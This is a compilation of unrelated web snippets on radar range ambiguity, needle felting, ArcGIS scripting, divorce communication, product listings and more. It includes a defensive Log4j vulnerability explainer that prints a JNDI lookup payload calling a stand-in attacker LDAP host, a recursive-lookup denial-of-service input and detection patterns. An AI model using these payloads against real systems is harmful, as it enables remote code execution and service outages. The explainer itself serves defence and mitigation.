- Hide Rows: Click the minus sign in the first column to hide the row in the grid.
- Restore Rows: Once rows are filtered, click RESTORE ROWS to show all rows once again
- Sort: Click a column in the first header row to sort data by values in that column. Click again to reverse the original sort. Some cells have custom sort keys that will sort them logically instead of alphanumerically.
- Compare/Analyze: Click multiple rows for players of interest. In addition to filtering, you can quickly COMPARE player stats or use the MULTI-PLAYER STAT VIEWER to view multiple player cards on the same page.
- Leaders: On stat grids. Top-10 ranked statistics are highlighted in gray. #1 rank is in light green. (PREMIUM setting)
- Export to CSV: Click CSV to convert the full grid into a comma-delimeted display. From there, you can copy/paste to another application.


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Radar Technology - Ambiguous Measurements
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Police Constable: So, when was that?
Witness: I know for sure that it was a Monday because, well, in the morning I said...sod it!'
Constable: Oh, I understand. But which Monday?
Witness: Sorry, I don't know. But I remember that a full moon was rising in the morning of that day
Constable: Aaa-ha. Can you tell me anything more?
Witness: (Ponders) Er, yes. It was exactly one year after our new government had been elected. On the television they commented on their achievements so far...
Constable: Thank you very much! That was Monday, Sep 24, 2001.
Taken individually, all of the witness's statements above are ambiguous: there are 52 Mondays in a year, and without further information it is impossible to tell which of these (or even which year) was meant. Knowing that it was a Monday eliminates six out of every seven possibilities for the day of the case in question. Elections are held every four years, but this statement is ambiguous too. However, this piece of information takes away three out of any four possibilities for the year in question. Finally, by combining this with the (also ambiguous) information about the moon phase, the constable is able to eliminate all possibilities but one.
Now let's rephrase this example in radar terminology. The witness uses three different measuring scales for giving the time:
 - The 'week' scale has seven time slots (days) and thus rolls over from day seven (Sunday) to day one (Monday) after seven days.
 - The 'election period' scale has a resolution of 1 year - ie, 365 days. There are four time slots, and it rolls over every 1460 days (4*365).
 - The'moon phase' scale has a re solution of 7.25 days and four time slots. It rolls over every 29 days.
Any given combination of day, election year status and moon phase does not reappear before 7*1460*29 = 296,380 days, or 812 years, have elapsed. That is, this set of scales yields unambiguous measurements for any timespan that a police constable could possibly be interested in. But an archaeologist confronted with the same information would most probably frown upon the ambiguity of 812 years and ask for more information to resolve it.
So What's the Connection to Radar?
In a radar, the timescales are equivalent to pulse repetition times (PRT). The time slots are still time slots, but usually they are called range bins. This is because the round trip delay time for an echo is a direct measure of a target's range. Each of the PRTs yields an ambiguous measurement, but a proper choice of the values for a set of PRTs can eliminate all ambiguities out to distances far beyond the limits given by the receiver's sensitivity.
How to Choose a Set of PRTs
Imagine that the witness in the example above had used a third timescale of fortnights instead of moon phases. A fortnight is a period of two weeks - that is, 14 days. Thus, their statement would now be something like: 'It was a Monday, in the first year after an election, on the eighth day of a fortnight'.
The problem with this set of PRTs is that 'the eighth day of a fortnight' already indicates that the day was a Monday. Hence, the 'week' timescale has been rendered useless as it doesn't contribute any further information. The unambiguous range of the original PRT set was calculated as the product of its individual values (7*1460*29) but that was only correct because none of the factors shared a common denominator.
Upon closer examination of the week/election period/fortnight set it turns out that a fortnight's time is an integer multiple of a week's time, and this is where the problem is. Furthermore, the 14 days of a fortnight and the 1460 days of an election period share '2' as a common factor. Therefore, this set yields unique results within only 7*1460 days, or 28 years1.
So the conclusion is this: the ambiguity of a set of PRTs is determined by the least common multiple of its PRTs. A proper set of PRTs consists of values that are chosen such that they do not share a common denominator. Therefore, it is not uncommon to see radar engineers fiddling around with prime numbers.
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Setting Up a Client Identity
Some of the Access Manager components such as SAML, User Management, Policy, require an identity for the client. The client application reads configuration data to identify the client. You can set up the identity for the client in one of two ways:
Note –
Some of the configuration attributes (such as password) are encrypted and stored in the data store as an Encryption/Decryption Key. If such attributes have to be decrypted by the client, the property must be set, and must be the same as that of the Access Manager Server.
This value is generated at installation time and stored in the following file:
To Set Username and Password Properties
The following properties can be used to set the username and password that can be used by client SDK to obtain the configuration parameters. The authenticated username should have permissions to read the configuration data for SAML and User Management.
For scenarios where plain text password would be security concern, an encrypted password can be provided using the property: com.iplanet.am.service.secret.
If an encrypted password is provided, the encryption key must also be provided using the property: am.encryption.pwd.
To Set an SSO Token Provider
Set the following property: com.sun.identity.security.AdminToken
This provides an implementation for the interface, which returns the following single sign-on (SSO) token: com.sun.identity.security.AppSSOTokenProvider.


Fabulous Needle-Felted Bouquet
 - Decadent Fibers Needle-Felting Foam, 2"x8"x10"
 - Decadent Fibers Custom Hand-Dyed Roving
 - Felting needle
 - Needle felting mat
 - Read "Needle Felting Technique" before beginning project.
 - For petals, jab felting needle into fiber on foam in an up and down motion. Fibers will felt in direction needle is jabbed. Periodically pull shapes up off of foam, turn over and needle felt other side. For a sharp and refined petal edge, jab needle into side of petal at an angle towards middle. Create a number of petals for each flower and attach 1-2 petals to center at a time, using felting needle until they are all connected.
 - For flower center, place wisps of color in center where petals are joined; needle felt in place. Make center as large as desired, adding dimension to flower. Add some interesting color and shading to petals once they are in a flower shape. For cup shape, jab at an angle up through petal to curl up fibers on inside and outside bottom of flower. Add some green fiber to bottom of flower for attaching stem.
 - For stem, choose from many variations, from sticks from nature to pipe wrapped with wool. Tightly wrap wool roving around top of stem. Bend grapevine wrapped floral wire in a "U" shape and needle felt a small rectangle of green fivers down across "u" and into back of flower. Crimp "u" together and needle felt more green fibers to shape fiber back.
Needle Felting Technique
 - 1. Felting is an ancient art, but needle felting is a phenomena that is taking the needle arts world by storm! It is a creative process that appears magical using just a few simple tools, instructions and your creativity. As you jab your felting needle down through the wool fibers, the barbs on the needle grab onto the fibers, entangling and interlocking them, felting them down permanently. The more you jab the needle through the fiber the more the fibers felt. Use many short fast jabs and remember the angle at which you pierce the fibers is the angle at which they will felt. The longer you jab, the denser the felt. You will be amazed at your creative ability and the magic of the dry felt technique! You are actually sculpting the fiber using the felting needle.
 - 2. Using a few simple shapes like hearts, circles and ovals can create more flowers. Refer to the bouquet photo as you create various flower shapes. Pull of small wisps of colored fiber; hold the fiber with your thumbs and first two fingers using both hands, quickly, but gently, tug in opposite directions so the fibers will easily pull apart. Lay these wisps thinly on your decadent foam at right angles to each other. Do not be tempted to lay down thick layers of fiber; many thin wisps will needle felt easier. Go easy as you can always add more fibers at any time.
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The Chemistry Department at the College of Saint Benedict/Saint John's University strives to provide an excellent education in chemistry within a liberal arts tradition for a variety of learners. We design our program to help students understand that chemistry is a way of thinking about how matter is constructed, organized, and functions. In accord with the Benedictine tradition of these two institutions, we build this chemical foundation in a context that helps students become scientifically responsible citizens, with the knowledge, skills, attitudes and values that will allow them to be successful in scientific or non-scientific professions. We accomplish this by providing students with a variety of learning opportunities such as formal courses with integrated laboratories, hands-on experiences with modern instrumentation and computers, research projects and seminar programs. We carry out this mission in an atmosphere of support and encouragement for both students and staff.


ArcMap
Concatenate Row Values
In a table you can concatenate field values or row values.
Concatenating field values
Learn more about concatenating field values from this blog.
Concatenating row values
Download the script tool from here. This tool is based on a python script that takes an input table, selects a row(s) based on a field value, and concatenates the row values of any other specified field. This tool does not create a new output, but updates the input data.
Example of using Concatenating Row Values tool
Usually, in field sampling data a single point (e.g. the center or the intersection of a quadrant) is linked to an area in the field, and the data recorded for each species (grass/shrubs vegetation) within the quadrant is added as a separate entry linked to the same point as shown below:
This data has multiple records for the same center point of the quadrants. In such cases, if you want to concatenate the vegetation values for the same quadrant you can run the Concatenate Row Values tool (as shown below):
After concatenating the row values, you don't need all the multiple points because one point has all the information you need (the All_Vegetation field). The Delete Identical tool can then be used to delete all but one of the multiple points (as shown below):
This workflow is shown below in a simple model:
Since both the tools modify the input, creating a backup copy of the input is strongly recommended.
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 1. nadinewazen says:
 Thank you this is a very helpful tool.
 I used it to concatenate values in English and it worked just fine.
 However I am having a problem using it to concatenate values in Arabic.
 I am getting the following error:
 Executing: ConcatenateRowValues22 Union_Munip_Concatenated Union_Na_1 Short_Name VillagesAr ", "
 Start Time: Mon Apr 02 12:11:14 2012
 Running script ConcatenateRowValues22…
 PYTHON ERRORS:
 Traceback Info:
 File "C:Documents and SettingsNadineMy DocumentsArcGISNW_DB_UN_HabitatConcatenateRowValues10ScriptsConcatenaterowvalueArc.py", line 106, in
 value = str(lastvalue) + Delimiter + str(value)
 Error Info:
 : 'ascii' codec can't encode characters in position 0-4: ordinal not in range(128)
 ArcPy ERRORS:
 Completed script ConcatenateRowValues22…
 Failed to execute (ConcatenateRowValues22).
 Failed at Mon Apr 02 12:11:15 2012 (Elapsed Time: 1.00 seconds)
 If I got it right the problem is in the fact that Arabic is not encoded in ASCII. Is there a way to modify the script to make it identify it as UTF-8?
 Would appreciate any help i can get,
 Thank you !!
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What is addiction? How does it feel to be an addict? What does it look like? Is there a way out, a place BEYOND ADDICTION? These critical questions and the way we answer them make the difference between living a life enslaved to destructive behaviors and one of freedom and expansion.
Most people are familiar with addiction to drugs or alcohol, but addiction takes many forms and it is everywhere around us, all the time. At its very core, addiction is any behavior you continue to engage in despite the negative consequences it brings. If we take the time to really look at ourselves and at the world around us, we don't have to look hard to see it. Addiction is the root of some of the biggest challenges our society faces today. For example, the medical pandemics of childhood obesity, type 2-diabetes and heart disease are preventable lifestyle diseases driven in large part by addiction.
As an addict you feel stuck, incapable of giving up that thing that you "need" to survive, to function. It twists your thinking, your experience of the world. Addiction leaves you lying to your friends, to your family, to yourself. Being an addict is like being in a small dark room where the only exit seems to be locked from the outside.
The truth is that there is a way out, a way BEYOND ADDICTION. Though neither easy, nor a road one travels alone, a life beyond the grips of addiction is very real. At one time I was stuck in that downward spiral, but after 21 years of recovery I am living proof that an expansive and vibrant life beyond addiction can and does exist.


text: Differential thermal analysis (DTA) has been applied to the examination of a variety of glasses and glass-glass reactions. The method is described and results that were obtained which illustrate the usefulness of the technique are shown. Reversible and nonreversible latent heat anomalies have been observed in glass which are believed coincident with the glass transition, phase separation, devitrification processes, and dissolution of crystalline phases. The heat effect believed to be associated with the glass transition is reproducible, reversible and different for different glasses, and is observed as an endotherm on heating and an exotherm upon cooling. The change in the thermal glass transition temperature (Tt) as a function of composition was found to be sensitive to within approximately a 1% variation of one of the constituents of the glass enabling the determination of a "glass transition phase diagram" for two interacting glasses. The technique has shown itself to be a useful tool in quality control of raw glasses and in monitoring glass forming processes. © 1975 American Institute of Mining, Metallurgical, and Petroleum Engineers, Inc.


Lindsey Klinge
Lindsey Klinge
National Science Foundation Graduate Research Fellowship Program (GRFP) Honorable Mention 2011
Chemistry PhD Candidate
I am a transfer student from the University of Pennsylvania to Drexel University. I earned a BA in Chemistry and Mathematics from the State University of New York at Purchase College in 2011, and I was a SULI Intern at Brookhaven National Laboratory for several years during my undergraduate career. Presently, I study both physical and analytical chemistry, and I work for Dr. Peter DeCarlo in the Drexel Air Resources Research Laboratory (DARRL).
My primary research interest is in characterizing aerosol particulate matter harmful to human respiratory health. Diesel soot has a fractal-like morphology that is much harder to model than spherical particulate. Additionally, diesel soot is quite hygroscopic, which means the particles readily adsorb water. The size of diesel soot particles can vary depending on humidity, which in turn may increase or decrease the health risk posed by the particles. Predicting the morphology of aerosol soot particles and the effect of hygroscopicity on particle size and composition can lead to a greater understanding of the health risks of diesel soot and a more informed scientific basis for policy decisions.
The supercomputing resources of an NSF GRFP Honorable Mention will allow me to better model large gaseous systems. I am honored to receive the HonorableMention and I am thankful for the opportunity to gain experience and valuable feedback in writing scientific proposals.


Log4j Vulnerabilities & Mitigations
Log4j Vulnerability Documentation
What is Log4j?
Log4j is a widely used java-based logging library, It is part of the Apache Logging services. Log4j is a simple piece of code that logs events like runtime and errors on a system without modifying the application binary itself. In short, it helps to see how applications run and help to debug when errors or problems occur.
Log4j Vulnerabilities Evolution
1. CVE-2021-44228 – Log4Shell Vulnerability
Severity: 10.0 | CRITICAL
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Affects: Apache Log4j 2.0 – 2.14.1
This vulnerability called Log4Shell was discovered in the Log4j library. Log4j enabled a feature that let it parse and interpret logs that contain requests to remote servers as a way to create dynamic content in a log.
Description:
Due to the nature of logging, there may be some user-controlled inputs in the logs. In cases where an attack string is logged through log4j by a malicious actor, the string will be triggered by log4j to make a connection to a host controlled by the attacker, subsequently, download and execute a piece of attacker-provided code.
Log4Shell is a critical vulnerability affecting multiple versions of Log4j. Its severity is increased as a result of the number of applications running java on various platforms using log4j as their primary logging infrastructure.
Details
The Log4j library has a feature called lookup which allows values to be added to the log4j configuration at various places. Additionally, Log4j uses the Java Naming & Directory Interface that can allow string formats in configuration, log messages, and parameters to reference external information which is a supported lookup feature in log4j. JNDI allows information to be accessed through protocols like LDAP, DNS, etc. LDAP being the most common use case.
Example of a variable lookup
If "Cyberplural uses : ${java:version} in their framework" was processed through Log4j. The logged string will be: "Cyberplural uses : Java version 1.8 in their framework".
Example of a JNDI lookup
${jndi:ldap://malicious.cyberplural.com/stuff}
In this scenario, if the string gets logged by log4j. JNDI will ask the LDAP server at "malicious.cyberplural.com" for the "stuff" object. By design, JNDI will execute Java classes that an LDAP server references. If the LDAP server's response references the URL _URL_ JNDI will automatically request the file stuff.class from the webserver and execute arbitrary remote code execution.
Fig 1: Illustration of Log4Shell exploitation, Source: _URL_
2. CVE-2021-45056
Severity: 9.0 | CRITICAL
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Affects: Apache Log4j 2.0 – 2.15.0
Description:
This newer CVE was built on the fact that the initial fix to CVE-2021-44228(Log4Shell) was incomplete in certain non-default configurations. When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example,${ctx:loginId}).This could allow attackers with control over Thread Context Map (MDC) input data to craft malicious input data using a JNDI Lookup pattern, resulting in an information leak and remote code execution in some environments and local code execution in all environments.
Details:
The process where metadata can be added to logs to make them easier to analyze and diagnose problems in runtime is known as Fish Tagging. The java object ThreadContext can be used to create metadata in the Log4j library.
The following setting shows the default log pattern provided with Log4j:
appender.console.layout.pattern = %d{MM:dd HH:mm:ss.SSS} [%t] [%level] – %msg%n
Using the ThreadContext object allows developers to customize the log pattern and add extra variable information to it. A sample of an enriched log is:
appender.console.layout.pattern = %d{MM:dd HH:mm:ss.SSS} [%t] [%level] [${ctx:username}] – %msg%n
Where:
${ctx:username} is the Context lookup format. Log4j uses this to print out whatever the value of username is. The ThreadContext object is what Log4J makes references to when trying to resolve the value of username.
Example exploit:
A sample exploits to this CVE is a DOS attack. By setting the attacker-controlled lookup value to the lookup key itself, an infinite lookup loop can be triggered. For example, populating the username variable of the log pattern using ThreadContext would look like this:
ThreadContext.put("username", name);
If an attacker has control over the name variable and sets its value to ${ctx:username}. This tells Log4j to look up the value of username, which resolves to the name-value which revolves to ${ctx:username} and so on which leads to an infinite lookup loop.
3. CVE-2021-45105
Severity: 7.5 | HIGH
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affects: Apache Log4j 2.0 – 2.16.0 (excluding 2.12.3)
Description
Apache Log4j2 versions 2.0-alpha1 through 2.16.0 did not protect from uncontrolled recursion from self-referential lookups, when the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}).
This could allow attackers with control over Thread Context Map (MDC) input data to craft malicious input data that contains a recursive lookup, resulting in a denial of service condition.
Successful exploitation of CVE-2021-45105 leads to a DOS attack.
Mitigations
 - Update Log4j version
 - For environments using Java 8 or later, upgrade to Log4j version 2.17.0 or newer.
 - For environments using Java 7, upgrade to Log4j version 2.12.3.
 - Set the system property "log4j2.formatMsgNoLookups" to "true".
 - Users can remove the LDAP class from log4j by using the command: "zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class".
 - Deploy a properly configured WAF infront of the affected solutions.
Detections
 - Rules can be created for monitoring tools to detect attempts to exploit this CVE using agent headers e.g User agent contains jndi, account name contains jndi
 - Apache web server log files can be "grepped" for apache exploit strings in connection requests e.g jndi:ldap://
 - It is important to also ensure that character encoding is also considered when creating detection rules.
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How to communicate with your Ex by email and text.
 After a couple separate or divorce they will need to communicate with each other on many issues. This is particularly true if there are children as the couple will still be parents and need to cooperate for the rest of their lives. Divorce attorneys generally recommend email and text communications as the parties are bound by the written communication and the email or text may be shown to a judge. Despite the potential for presenting the emails to a judge, some people use emails and texts as an opportunity to abuse their spouse. Abuse may have been the customary method of communication during the end of the relationship and one party may not even understand how destructive such abuse can be. I have the following suggestions to parties to make communications better.
1) Forget about your history with your Ex. It is harmful to communications to continue to mention past wrongs. Telling your Ex how they made bad decisions or acted badly just alienates your Ex. If you want something done, simply ask you Ex to do the things you want done. If your Ex responds by asking for reasons then you can explain your thinking on the subject. Many times, the other party will merely comply with a reasonably stated request.
2) I was taught as a child to always say please and thank you. This is excellent advice for email communications. If you are asking for something, ask politely and say "please". When you get a response, say "thank you". You should say "thank you" even if you don't like the answer. It doesn't hurt you to say "Thank you for responding."
3) Be clear in your communications. The more clarity provided the fewer mistakes are made.
4) Don't make threats. At least don't make threats in the first communication. While it may be appropriate to make threats later, starting with threats is never a good idea.
5) Don't state the obvious. If there is a court order for vision insurance, don't start by stating the terms of the divorce judgment. Your ex-spouse should know this. Politely ask for the vision insurance cards for the children. This should be sufficient on the first communication. Perhaps the second communication will require you to explain his obligations under the divorce. On the first communication assume your Ex knows what he is suppose to do.
 In short, treat your Ex-partner like a stranger.
 Successful communications between former partners may reduce litigation and attorney fees.
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The Cap Female Fitting is a crucial component used in water distribution systems to cap off or close the end of a pipe. It serves the purpose of sealing the pipe and preventing the flow of water in that particular direction.
Cap fittings are commonly available in various sizes to fit different pipe diameters. The fitting's shape is typically cylindrical with a female threaded end, allowing it to be easily screwed onto a corresponding male threaded pipe or fitting.
The male threads on the fitting allow for a secure and leak-free connection when joined with compatible female threaded pipes or fittings. The threads on the Cap Female Fitting conform to the ISO 228 standard, which is equivalent to DIN EN ISO 228 and BS EN ISO 228.
It is essential to ensure that the chosen fitting is suitable for the expected temperature and pressure conditions within the piping system. Cap fittings are typically designed to withstand standard temperature and pressure ranges commonly encountered in water distribution systems.
The Cap Female Fitting is a key component used in water distribution systems to facilitate changes in the water flow and provide closure at the end of a pipe. Its primary function is to seal off the pipe, preventing water from flowing in that particular direction. This fitting offers flexibility and versatility in plumbing applications by allowing for easy modifications in the water flow direction. With its threaded joints and reliable construction, the Cap Female Fitting ensures secure connections and efficient water distribution within the piping system.
The specific size and shape of the Cap Female Fitting are not provided in the given information. However, cap fittings are typically available in various sizes to accommodate different pipe diameters. The fitting's shape is generally cylindrical, featuring a female threaded end that allows for easy attachment to a corresponding male threaded pipe or fitting. The size and shape of the Cap Female Fitting play a crucial role in determining its compatibility with the existing piping system and its ability to effectively seal the end of the pipe.


text: We present an exploration of generative probabilistic models for multi-document summarization. Beginning with a simple word frequency based model (Nenkova and Vanderwende, 2005), we construct a sequence of models each injecting more structure into the representation of document set content and exhibiting ROUGE gains along the way. Our final model, HIERSUM, utilizes a hierarchical LDA-style model (Blei et al., 2004) to represent content specificity as a hierarchy of topic vocabulary distributions. At the task of producing generic DUC-style summaries, HIERSUM yields state-of-the-art ROUGE performance and in pairwise user evaluation strongly outperforms Toutanova et al. (2007)'s state-of-the-art discriminative system. We also explore HIERSUM's capacity to produce multiple 'topical summaries' in order to facilitate content discovery and navigation.


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Why am I getting "Your connection is not private" error?
How do I fix "Your connection is not private" error?
You don't have to perform any complex changes to settings in order to fix "Your connection is not private" in chrome. You only have to check and fix the issue due to which your Internet connection or your computer is stopping Google Chrome from loading the page privately and securely. Here's how:
Method 1: Check the Date and Time
In most of the cases, computer's inaccurate date and time are the biggest cause of an SSL error or "Your connection is not private" error message. If you want to get rid of Google Chrome "Your connection is not private" error message then update your device's clock. Once you corrected the date and time on your PC, you will not face this error again.
Method 2: Check the Antivirus Software
If your computer's date and time are up to date, but still you are facing the privacy error "your connection is not private" then you need to check the antivirus software installed on your computer. Sometimes antivirus programs block the website's security certificate and in the result, you face "your connection is not private" error on Web browsers. Here's what to do:
- If you have installed the Avast Free Antivirus to protect your PC then you will have to turn off HTTPS scanning in Avast. To do so, go to Settings → Active Protection → Web Shield → Customize, and finally uncheck the "Enable HTTPS scanning" box.
- If you are using Bitdefender antivirus software to get the best real-time security for your PC then you need to turn off SSL scan. To do this, firstly open the main interface of Bitdefender and then go to Settings (which is located at upper right corner). Now from there, click on Privacy Control → Antiphishing tab → turn OFF the Scan SSL.
Method 3: Clean Google Chrome Browser
If above-mentioned methods don't work for you then somehow cleaning the junk fromGoogle Chrome Browser can help you. To delete the cache, history, and other browser data from Google Chrome browser:
- First of all, go to Settings → Show advanced settings → Clear browsing data under Privacy options.
If clearing browsing data doesn't help then you can reset chrome browser settings to the default browser settings too. To reset your Chrome browser settings:
- Firstly, click on the Chrome menu → Settings → Show advanced settings → Reset settings → Reset.
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1668A6-12V Heavy Duty Circuit Tester with Long Probe
Check on 6 and 12V systems. To indicate whether there is an electrical potential at any low voltage point in the system. By using the pointed contact tip to pierce insulation on cables, it will also indicate if current is present. This can be helpful when tracing faults or add cable to a circuit.
- With CE & UKCA Approvals.
- Probe length: Approximately 175mm / 6.9"
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- Tough plastic handle lights up when circuit is in good condition.
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This chapter describes the Trusted Extensions APIs for performing basic label operations such as initializing labels, and comparing labels and clearances. This chapter also describes the APIs for accessing the label of a process.
For examples of how the Trusted Extensions APIs are used in the Oracle Solaris OS, see the Oracle Solaris source code. Go to the OpenSolaris web site and click Source Browser in the left navigation bar. Use the Source Browser to search through the Oracle Solaris source code.
This chapter covers the following topics:
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ABCs of Mathematics
This alphabetical installment of the Baby University series is the perfect introduction for even the youngest mathematicians!
A is for Addition
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From addition to zero, The ABCs of Mathematics is a colorfully simple introduction for babies―and grownups―to a new math concept for every letter of the alphabet. Written by an expert, each page in this mathematical primer features multiple levels of text so the book grows along with your little mathematician.


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Massive landslide destroys natural wonder of Russia's Valley of Geysers
A massive landslide has all but obliterated one of Russia's most spectacular natural wonders, the Valley of Geysers.
The valley, in the Kronotsky national reserve in Kamchatka, the far-eastern peninsula famed for its volcanoes, contained about 90 geysers, as well as a number of thermal pools, and is the region's most popular tourist attraction.
A snow-covered mound collapsed on Sunday "within seconds" and caused a landslide, about a mile long and 600 feet wide, that buried two thirds of the valley, a park ranger, Valery Tsypkov, said on Russian television.
The landslide dumped millions of cubic metres of mud and stones and destroyed most of the valley's geysers and dozens of thermal springs. It stopped only yards from the valley's only hotel. Tourists and park personnel had to be evacuated, but no injuries were reported.
Natalya Radugova, director of the Kronotsky national reserve, said: "The splendour of the valley has changed beyond recognition." But some officials said they believed there was a positive side to the loss of the valley. The dam that has been formed will turn the valley - which was discovered only in 1941 - into a thermal lake that could become a new "tourist jewel of Russia", said a tourism official Denis Lazarev.
The extent of the damage to the valley's geysers was not immediately clear, but experts feared many of them have been obliterated.
"We witnessed a unique natural event," said Oleg Mitvol, the deputy head of Russia's environmental watchdog agency Rosprirodnadzor. "But the consequences of such a natural catastrophe are irreversible."
The sparsely populated Kamchatka peninsula lies about 4,000 miles east of Moscow. It was completely closed to foreigners until 1990, and now attracts thousands of tourists annually with its volcanoes, geysers and national parks.
The 800-mile-long peninsula between the Pacific Ocean and the Sea of Okhotsk, is one of just five places in the world where geysers - springs ejecting hot water and steam into the air - are found.
"This is tragic for humankind, in that we have lost one of the great natural wonders of the world," said Laura Williams of the wildlife charity WWF on the organisation's website.
"But for Nature, this is only a blip in the history of the planet's evolution."
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Date: 07/15/2007 at 14:32:21
From: Juan
Subject: find a rot-translation matrix for fitting two 3D point sets
I need to fit two sets of 3D points (a, b, c... n) and (a', b', c'...
n') in such a way that the Euclidean distances between the point
pairs (a,a'), (b,b')...(n,n') is minimum. I can apply only rotations
and translations but no scale changes.
Is it possible to find a least-squares solution to this problem? There
are lots of web pages describing methods for fitting the least-squares
solution between points and functions but I was unable to find
anything between two sets of points.
I suppose that if I represent X as the first dataset and Y as the
second dataset the classic least-squares method
Xt = Y
t = (X^TX)-1 X^T Y
should be able to provide a t matrix. However, this matrix can
contain scaling and I need that the transformation involves only
rotation and translation.
I have tried to use an iterative algorithm that applies rotations and
translations. It works fine, but it's time consuming and I am
convinced that there are far more efficient methods.
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The algorithm that you need is in the following journal article by R.
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Analysis of Measurements Based on the Singular Value Decomposition,
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The aim of this study was to evaluate the suitability of Methylene Blue (MB) and Vitamin B12(Vit-B12) as water soluble inner aqueous phase (W1) markers for measuring the encapsulation efficiency and stability of water-in-oil-in-water (W1/O/W2) double emulsions stabilized by sodium caseinate (NaCN). The encapsulation efficiency and stability were determined by centrifugation of the double emulsion to separate the cream phase (W1/O) and the outer aqueous phase (W2) and measuring the concentration of marker in W2by absorbance spectrophotometry. To validate this method the marker concentration measurable and the stability of the marker in W2were measured. Both markers could be accurately measured in W2and there was no change in the concentration of marker on storage of a W2solution for 7 days at 45 °C. The recovery yields of MB and Vit-B12in the recovered W2of an oil-in-water (O/W2) emulsion, determined using the procedure normally used for measuring encapsulation efficiency and stability, were ∼78% and ∼99%, respectively, and ∼52 and ∼100%, respectively. Double emulsions had encapsulation efficiency of 61.9 ± 21.4% and 16.6 ± 1.1% and encapsulation stability of 62.0 ± 22.6% and 10.7 ± 0.7% for MB and Vit-B12, respectively. Recovery yield and encapsulation efficiency/stability data for MB indicate that it is not a suitable marker for measuring the encapsulation properties of NaCN stabilized double emulsions while similar data for Vit-B12indicate that it is a suitable marker for studying the encapsulation properties of double emulsions stabilized with NaCN. Methods used in other studies to measure encapsulation properties of double emulsions are discussed in light of the results obtained in this study. © 2009 Elsevier Ltd. All rights reserved.
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A flow switch is used to monitor the flow of different types of substances—usually air or water. It senses different pressure generated from different flows. The flow switch is hooked through a venture to an electronic circuit at a flow level previously determined. In this way, the flow switch acts as a protector to the equipment or appliance. A flow switch is used in damper regulators, water pumps and air conditioning systems. In general, a flow switch is tested annually.
The Right Flow at the Right Time
Put cover on the flow switch and turn power on.
Start flow through the designated system.
Observe flow in operation to determine if flow switch is working properly.
Repeat this process many times to ensure flow switch and designated system is in fact working accurately.
If the flow switch is not working properly, adjustments might need to be made. The flow switch should be replaced every five years or 100,000 cycles, whichever comes first.


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The Top English Grammar Tips From A–Z
1pausa del café femenino
- The proceedings of the Ladies Club have come to a halt for a coffee break.
- The two men were having their daily midmorning coffee break.
- A good American friend asked me the question some time ago in the middle of a coffee break with friends.
- About the second night I rode with him, we took a coffee break.
- I'm just taking time out for a coffee break.
- Some fit in by shooting the breeze during extended coffee breaks.
- The keynote speeches were followed by a coffee break.
- Staff members can lounge outdoors on a balcony during coffee breaks.
- All the staff were willing to talk well into their hard-earned coffee break!
- Each session will include a tea / coffee break.
- My imaginary software company was going to have coffee breaks with free donuts every hour.
- The first part of the conference (up to the morning coffee break) was devoted to reports of unusual experiences in everyday life.
- Austrian city dwellers often take a midafternoon coffee break at a national institution, the coffeehouse.
- I decided a short coffee break was what the situation suggested.
- Don't lunch privately or take coffee breaks with the same person all the time.
- For example, save the coffee break or quick bite for later.
- In fact, at coffee break, there were about five people sitting there.
- A casual conversation at a coffee break in South Africa is shaking up agricultural research throughout the developing world.
- This is a bit of trivia for your coffee break.
- I was able to show it during a coffee break.
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Konica Minolta eCopy software rapidly integrates paper-based documents into your workflow — creating secure digital documents that keep pace with high-speed Internet-based workflow and enabling you to access, modify, distribute and share information more quickly and cost-effectively.
- Makes electronic document distribution immediately accessible to virtually every office worker.
- Lets you scan paper documents into electronic format for integration into the applications that run and support your business.
- Eliminates the need to fill out labels, stuff envelopes and rush to meet outgoing messenger pickup deadlines for overnight delivery.
- Replaces time-consuming, low-quality fax transmissions and does away with the process of entering paper-based data into enterprise content management systems.
- e-Copy software makes it easy to scan a document, select a recipient, add a subject line and cover note and transmit a copy over your corporate network or via the Internet.


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- a partially or mostly burned piece of coal, wood, etc.
- any residue of combustion; ashes.
- Geology.coarse scoriae erupted by volcanoes.
- a live, flameless coal; ember.
- slag1(def 1).
- a mixture of ashes and slag.
- to spread cinders on: The highway department salted and cindered the icy roads.
- Archaic. to reduce to cinders.
- to spread cinders on a surface, as a road or sidewalk: My neighbor began cindering as soon as the first snowflake fell.
Origin of cinder
Examples from the Web for cinderous
A worthy companion portrait to that of cinderous Mr. Toodles, the stoker, familiar to the readers of Dombey.Charles Dickens as a Reader
- a piece of incombustible material left after the combustion of coal, coke, etc; clinker
- a piece of charred material that burns without flames; ember
- Also called: sinter any solid waste from smelting or refining
- (plural) fragments of volcanic lava; scoriae
- (tr) rare to burn to cinders
Word Origin and History for cinderous
Old English sinder "dross of iron, slag," from Proto-Germanic *sendra- "slag" (cf. Old Saxon sinder "slag, dross," Old Norse sindr, Middle Low German and Middle Dutch sinder, Dutch sintel, Old High German sintar, German Sinter), from PIE root *sendhro- "coagulating fluid" (cf. Old Church Slavonic sedra "cinder").
Initial s- changed to c- under influence of unrelated French cendre "ashes," from Latin cinerem (nominative cinis) "ashes," from or related to Greek konis "dust" (see incinerate). The French word also apparently shifted the sense of the English one to "small piece of burnt coal" (16c.). Volcanic cinder cone is recorded from 1849.
Idioms and Phrases with cinderous
see burned to a cinder.


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The annual inflation rate is up to 1.3% in the Eurozone in March, from 1.1% in February, according to the report published by the statistical office of the European Union, Eurostat. In the European Union, annual inflation rate is slightly up to 1.5%, compared to 1.4% in February.
A year ago, in March, 2017, the inflation rate was at 1.5% and 1.6% in the Eurozone and the EU respectively.
Compared with February, annual inflation decreased in six Member States, remained stable in six and rose in fifteen ones.
In Cyprus, there has been registered deflation at 0.4% for the second month in a row. The lowest annual rates were registered in Greece (0.2%) and Denmark (0.4%). The highest annual rates were recorded in Romania (4.0%), Estonia (2.9%), Slovakia and Lithuania (both 2.5%).
In March 2018, the highest impact on the annual Eurozone inflation rate was made by services (+0.67 percentage point), followed by food, alcohol and tobacco (+0.41 pp), energy (0.20 pp) and industrial goods (0.07 pp).


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Maria van Brabant - Maria van Hongarije - Amalia van Solms
Sculpture of three historical women with their roots in Turnhout. The busts of the woman are standing on roots in the Turnhout soil. Depicted are:
